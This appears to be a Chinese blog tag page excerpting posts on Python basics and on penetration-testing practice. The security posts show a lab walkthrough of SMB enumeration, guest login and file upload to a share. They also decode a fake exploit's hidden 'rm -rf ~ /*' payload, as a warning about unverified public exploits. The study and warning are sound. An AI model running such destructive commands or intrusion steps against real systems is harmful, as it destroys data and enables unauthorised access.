發表文章

目前顯示的是有「python」標籤的文章

用 Python 操作 Excel 的入門程序

圖片
用 Python 操作 Excel 的入門程序  操作說明 : 利用 Python Code 快速建立多個 Excel 檔案 Code 內容如下 : from openpyxl import Workbook names = [ "檔案01" , "檔案02" , "檔案03" , "檔案04" , "檔案05" , "檔案06" , "檔案07" , "檔案08" , "檔案09" , "檔案10" ] for i in names :     wb = Workbook ()     filename = fr "d:\VSC\python\code\1\test\編號_ { i } .xlsx"     wb . save ( filename ) 執行後快速建立 10 個 Excel 檔案如下圖 Code 說明 這段 Python 程式碼的功能是:使用 openpyxl 套件,在指定資料夾中建立 10 個 Excel 檔案,每個檔案的檔名格式為 編號_檔案XX.xlsx ,例如 編號_檔案01.xlsx 。 🔍 一行一行說明: from openpyxl import Workbook ➡ 從 openpyxl 套件匯入 Workbook 類別,這是用來建立新的 Excel 活頁簿(Workbook)的。 names=["檔案01","檔案02","檔案03","檔案04","檔案05","檔案06","檔案07", "檔案08", "檔案09","檔案10"] ➡ 定義一個 names 清單,裡面包含 10 個字串,分別是要用來命名檔案的代號。 for i in names: ➡ 用 for 迴圈依序取出 names 清單中的每個檔名(如 "檔案01", "檔案02"...)...

Python 基礎

圖片
Python 基礎  當初在學 Web 相關實第一個呈現出來在網頁的教學是 Hello World !! 現在學 Python,看到第一個教學輸出是 Hello Python !!,好有即視感。  Code : print ( 'Hello Python !!' ) 輸出結果 其它語法,輸出名字與年齡 name = "ARIES" age = 18 print ( "name= %s " % name ) print ( "age= %s " % age ) 其它寫法 name = "ARIES" age = 18 print ( f "name= { name } " ) print ( F "age= { age } " ) 第三種寫法,這種在名字輸出的部分會有單引號 AI 解釋如下 ✅ 第一種方式:舊式 % 格式化 print("name=%s" % name) print("age=%s" % age) 這裡是將變數 插入字串中 , %s 會轉成字串表示,效果是: name=ARIES age=18 ✅ 第二種方式:f-string 格式化(常用) print(f"name={name}") print(F"age={age}") 這裡的 f"name={name}" 代表「字面上輸出 name= ,然後把 name 的值插進來」,所以輸出: name=ARIES age=18 ❓ 第三種方式:f-string 的 = 語法(Python 3.8+) print(f"{name=}") print(f"{age=}") 這個寫法是 Python 3.8 開始新增的功能,稱為 f-string debug 模式 (官方名稱:f-string with = )。 ✅ 它的作用是: 輸出「變數名稱 + = + repr(變數值) 」 也就是說,這種寫法 不只是印出值,還會連變數名稱一起印出,而且用 repr() 表示法 。 🔍 所以為什麼會有單引號? 因為: prin...

公開的漏洞(Public Exploits) - 練習

圖片
 公開的漏洞(Public Exploits) - 練習 練習 1 (12.4.1.1) 靶機 IP : 192.168.225.10 先 rustscan └─$ rustscan -a 192.168.223.10 --scripts none --ulimit 500 135、139、445、1978、跟一堆 RPC High Port 看來是台 Windows,445 SMB 看來較有機會 用 nmap 帶 script 掃一下 OS 看看 └─$ sudo nmap -v -p 139,445 --script  smb-os-discovery 192.168.225.10 是台 Windows 10 獨立機器無 Domain,主機名稱是 remotemouse 接著看看 445 有沒有 Share 甚麼資料夾 └─$ sudo nmap -sV -sC -p 139,445 192.168.225.10 --script smb-enum-shares.nse script 預設帶的帳號是 guest,發現有一個分享名稱 offsec 擁有讀寫的權限 登入看看有甚麼東西 └─$ smbclient '\\192.168.225.10\offsec' -U guest,詢問密碼時直接 Enter 即可 好多檔案阿,那就逛一逛吧 使用 curl 指令丟個 body.txt 檔案上去試試看 └─$ curl --upload-file /home/kali_r/body.txt  -u 'workgroup\guest' smb://192.168.225.10/offsec/ 不用 curl 在 smb 底下也可以直接使用 put 指令上傳檔案,刪除檔案使用 rm 重新 dir 一下,看到該路徑確實可以寫入檔案 逛了一下整個 offsec 的目錄與相關檔案,僅有 Downloads 路徑下有幾個檔案 主要是三個 *.exe 檔案跟最後一個圖檔(下載回來看過了沒啥鳥用) 第一個檔案 7z2200-x64.exe,是 7-ZIP 22 版安裝程式,依據資安人口理論 Google 搜尋 7z2200-x64.exe exploit 看來沒啥鳥用 第二個檔案 ccsetup601.exe,是 CCLear 6.01.xx 版安裝程式...

公開的漏洞(Public Exploits)

圖片
 公開的漏洞(Public Exploits) 公開漏洞 OpenOwn 本來是針對 SSH 的漏洞攻擊程式,實際上內容非常詭異 首先是要求 root 的權限如下面這一段 if (geteuid()) {   puts("Root is required for raw sockets, etc."); return 1; } 接著往下翻可以看到一段使用 16 進制編碼的 impcode 內容如下 [...] char jmpcode[] = "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f" "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"; [...] 透過 python3 將 16 進制解碼來看 └─$ python3                     >>> jmpcode = ["\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"] >>> print(jmpcode) ['rm -rf ~ /* 2> /dev/null &'] --> 這個是從根目錄移除所有 object 的命令,且還使用了 2>/dev/null 將 standard error 丟到 null,這樣一來不小心使用到的人系統就掛了 公開漏洞資料庫 Exploit Database 由 Offsec 維護,是一個值得信賴的漏洞查找資料庫 https://www.exploit-db.com/ 另一個查找漏洞好用的網站  https://packetstormsecurity.com/ 以及訪間最多人使用的平台 GitHub  https://github.com/ 但 GitHub 上是每個人都可以任意發佈的地方所以未經驗證的漏洞利用要盡量避免 可以使用一些官方的 GitHub 帳號來使用,例如 Of...